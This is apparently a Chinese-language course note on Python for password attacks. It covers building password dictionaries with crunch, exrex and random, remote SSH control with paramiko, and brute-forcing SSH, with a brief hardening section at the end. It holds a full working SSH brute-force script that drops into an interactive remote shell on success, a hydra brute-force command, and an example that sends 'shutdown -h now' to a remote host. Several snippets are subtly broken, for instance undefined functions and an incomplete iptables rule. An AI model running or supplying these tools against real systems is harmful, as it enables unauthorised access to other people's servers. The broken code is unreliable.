DAY11:python 脚本篇
1、字典生成器
工具----crunch
用法:
crunch <min-len> <max-len> [<charset string>] [options]
min-len crunch要开始的最小长度字符串 必需
max-len crunch要开始的最大长度字符串 必需
charset string 在命令行使用crunch你可能必须指定字符集设置,否则将使用缺省的字符集设置。必须指定字符类型或加号的值
crunch -h #昂住
-c #指定写入输出文件的行数,也即包含密码的个数
-d #限制出现相同元素的个数 数字是连续字母出现的次数,符号是限制字符串的字符(“@”代表小写字母,“,”代表大写字符, “%”代表数字,“^”代表特殊字符)限制每个密码至少出现几种字符
-e #字符串,定义停止生成密码
-f /path/to/charset.lst charset-name # 从charset.lst指定字符集
-i #改变输出格式
-o name.txt #指定输出文件的名称
-p #字符串或者-p ...以排列组合的方式来生成字典
-q name.txt #读取name.txt
2、利用 python 编写一个字典生成器
2.1、exrex 库
re.DEBUG模式下进行的归类和分析,从而匹配内容
生成所有匹配的字符串
生成随机匹配字符串
计算匹配字符串的数量
简化正则表达式
exrex.getone()
exrex.generate()
2.1.1、exrex.getone()
print(exrex.getone('\d{3}-\d{4}-[0-9]{4}')) #数字
print(exrex.getone('(ex)r\\1')) #填正则表达式会生成相应内容
print(exrex.getone('(1[0-2]0[1-9])(:[0-5]\d){2} (A|P)M')) #时间
输出为:
123-9462-3188
exrex
21:19:39 PM
示例1:exrex.getone() 生成手机号
import exrex
for i in range(30):
num = '1[0-9]{10}'
phone_number = exrex.getone(num) # exrex.getone()方法 exrex.generate()方法
print(phone_number)
2.1.2、exrex.generate()
num=list(exrex.generate('((hai){2}|hacker!)')) ##匹配两个hai或hacker
print(num)
num=list(exrex.generate('[Pp][a@]ssw[Oo]rd')) #知道密码的一些组合,进行局部爆破(最重要)
print num #exrex.generate(’[Pp][a@]ssw[Oo]rd’) 组合密码
输出为:
['haihai', 'world!']
示例1:exrex.generate() 生成密码
import exrex
web_dict = '123'
dic_pass = '456'
dics = list(exrex.generate(web_dict+dic_pass+'[@#!%^&*]'))
for i in dics:
print(i)
示例二:
def make_pass(pwds):
f=open('password','w')
f.close()
for pwd in pwds:
num='135[0-9]{8}'
for number in num:
final_pwds=list(exrex.generate(number.format(pwd=pwd)))
for final_pwd in final_pwds:
print(final_pwd)
f=open('passwd.txt','a+')
f.write(final_pwd + '\n')
f.close()
if __name__=='__main__':
make_pass()
2.2、random 库
示例:利用 random 库生成字典
import random
class Password():
strs = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*'
def __init__(self,minlen,maxlen):
if maxlen>minlen:
self.__minlen=minlen
self.__maxlen=maxlen
else:
self.__maxlen=minlen
self.__minlen=maxlen
def __iter__(self): #迭代器函数初始化
return self
def __next__(self):
ret =''
for i in range(0, random.randrange(self.__minlen, self.__maxlen+1)):
ret += random.choice(Password.strs)
return ret
if __name__=='__main__':
for str in Password(1, 10): #1-10位随机密码
print(str)
2.3、sys 库
sys.palatform #处理器信息
sys.getfilesystemcoding() #编码信息输入
sys.getfilesystemencoding() #编码信息输出
sys.getdefaultencoding() #标准输入输出
2.4、hashlib 库
2.5、kali-------john the ripper
3、暴力破解 ssh
3.1、paramiko 库
3.1.1、SSHClient 类
connect方法
hostname #ip
port 22 #22端口
password #密码
pkey #用于身份验证
timeout #超时
3.1.2、exec_command() 方法
command() #执行的命令
bufsize() #文件缓冲区大小
3.1.3、load_system_host_keys() 方法
filename #远程主机公钥记录文件
3.1.4、set_missing_host_key_poilcy() 方法
示例1:上传(下载)文件
import paramiko
def sftp_upload_file(server_path, local_path):
try:
ftp= paramiko.Transport(("172.16.0.xxx", 22)) #输入ip地址
ftp.connect(username="xxx", password="xxx") #输入用户名和密码
sftp = paramiko.SFTPClient.from_transport(ftp)
sftp.put(local_path, server_path)
ftp.close()
except Exception as e:
print(e)
if __name__ == '__main__':
sftp_upload_file("/root/1.txt", "C:/Users/1.txt") #将本地文件及路径,上传到终端目录下命名为1.txt
sftp_down_file("") #下载文件
示例2:执行命令
# -*- coding:utf-8 -*-
import paramiko
def sftp_exec_command(command):
try:
# 创建SSH对象
ssh_client = paramiko.SSHClient()
# 允许连接不在known_hosts文件上的主机
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器 输入ip地址、用户名和密码
ssh_client.connect(hostname="172.16.0.1xx",port="22",username="xx",password="xx")
# 执行命令
std_in, std_out, std_err = ssh_client.exec_command(command)
# 获取结果将结果输出
for i in std_out:
print (i.strip("\n"))
ssh_client.close()
except Exception as e:
print(e)
#命令
if __name__ == '__main__':
sftp_exec_command("shutdown -h now")
示例3:ssh爆破
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import paramiko
import argparse
import sys
def sshbrute(user,passwd,host):
# 设置 flag 为 0 ,在成功登录的时候再置为 1
flag = 0
try:
# 使用 paramiko.SSHClient 创建 ssh 对象
ssh = paramiko.SSHClient()
# 允许将信任的主机自动加入到host_allow 列表,此方法必须放在connect方法的前面,接受对方的公钥证书
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 登录 ssh,连接失败则抛出 异常 跳转到 except ,成功则继续执行
ssh.connect(hostname=host,port=22,username=user,password=passwd,timeout=3)
# 打印出成功登录的 用户名 和 密码
print("login success! User:"+user,"Pass:"+passwd)
# 把 flag 置为 1
flag = 1
except:
# 打印出 登录失败 的 用户名 和 密码
print("login failed!","user:"+user,"pass:"+passwd)
# 如果 flag 为 1,则进入 terminal
if flag == 1:
while True:
# 获取 输入的命令
input_command = input(">>")
# 如果 输入 quit 就关闭 ssh 连接,并退出程序
if input_command == 'quit':
print("quit!")
ssh.close()
exit(0)
# 执行 输入的命令
stdin,stdout,stderr = ssh.exec_command(input_command)
# 获取 返回的结果 并打印
result = stdout.read()
print(str(result,'utf-8'))
if __name__ == "__main__":
# 自定义接受参数
parse = argparse.ArgumentParser("python3 "+sys.argv[0])
parse.add_argument("-u <USER>","--user",help="login with user name")
parse.add_argument("-U <USERFILE>","--userfile",help="load user from USERfile")
parse.add_argument("-p <PASS>","--passwdd",help="try passwdd with PASS")
parse.add_argument("-P <PASSFILE>","--passfile",help="load PASS from PASSFILE")
parse.add_argument("-t","--target",help="client ip ")
# 把接受到的参数保存在变量中
args = parse.parse_args()
user = args.user
passwd = args.passwdd
target = args.target
ufile = args.userfile
pfile = args.passfile
# 判断 target 是否存在
if not target:
print("target not set!")
exit(0)
# 如果 输入了 -U 和 -P 参数则循环读出 ufile 中的 用户名 和 pfile 中的密码
if ufile and pfile:
tmp_ufile = open(ufile,'r')
tmp_pfile = open(pfile,'r')
# 循环输入用户名
for a in tmp_ufile.readlines():
tmp_pfile = open(pfile,'r')
# 循环输入密码
for b in tmp_pfile.readlines():
sshbrute(a.replace('\n',''),b.replace('\n',''),target)
# 密码读取完后需要关闭 在下一次读取的时候重新打开
tmp_pfile.close()
tmp_ufile.close()
# 如果 输入了 -P 和 -u 则循环读出 pfile 中的 密码,用 <user> 和 pfile中的密码登录
elif pfile and user:
tmp_pfile = open(pfile,'r')
res_pfile = tmp_pfile.readlines()
tmp_pfile.close()
for i in res_pfile:
sshbrute(user,i.replace('\n',''),target)
# 如果 输入了 -U 和 -p 就循环读出 ufile 中的用户名,用 <passwd> 和 ufile中的用户名登录
elif ufile and passwd:
tmp_ufile = open(ufile,'r')
res_ufile = tmp_ufile.readlines()
tmp_ufile.close()
for i in res_ufile:
sshbrute(i.replace('\n',''),passwd,target)
# 如果直接给出了 用户名和密码 则直接使用给出的用户名和密码登录
elif user and passwd:
sshbrute(user,passwd,target)
3.2、kali----hydra(九头蛇)
hydra -h
-p #指令密码
-l #指定用户名
-L #指定用户名字典
-P #指定密码字典
-o #将结果输出到文件中
-v #显示详细过程
-t #线程数
-f #检测到用户名或密码正确就退出
hydra -L users.txt -P passwd.txt -t 20 192.168.10.10 ssh -o 1.txt -f
3.3、pexpect 库
4、防御 SSH 爆破
1、修改防火墙入站规则
iptables -A INPUT -m state --state NEW -m tcp -p --dport -j ACCEPT
2、修改默认端口
vim /etc/ssh/sshd_config
22改为任意大端口号
service sshd restart
3、配置用户登录
vim /etc/ssh/sshd_config
AllowUsers root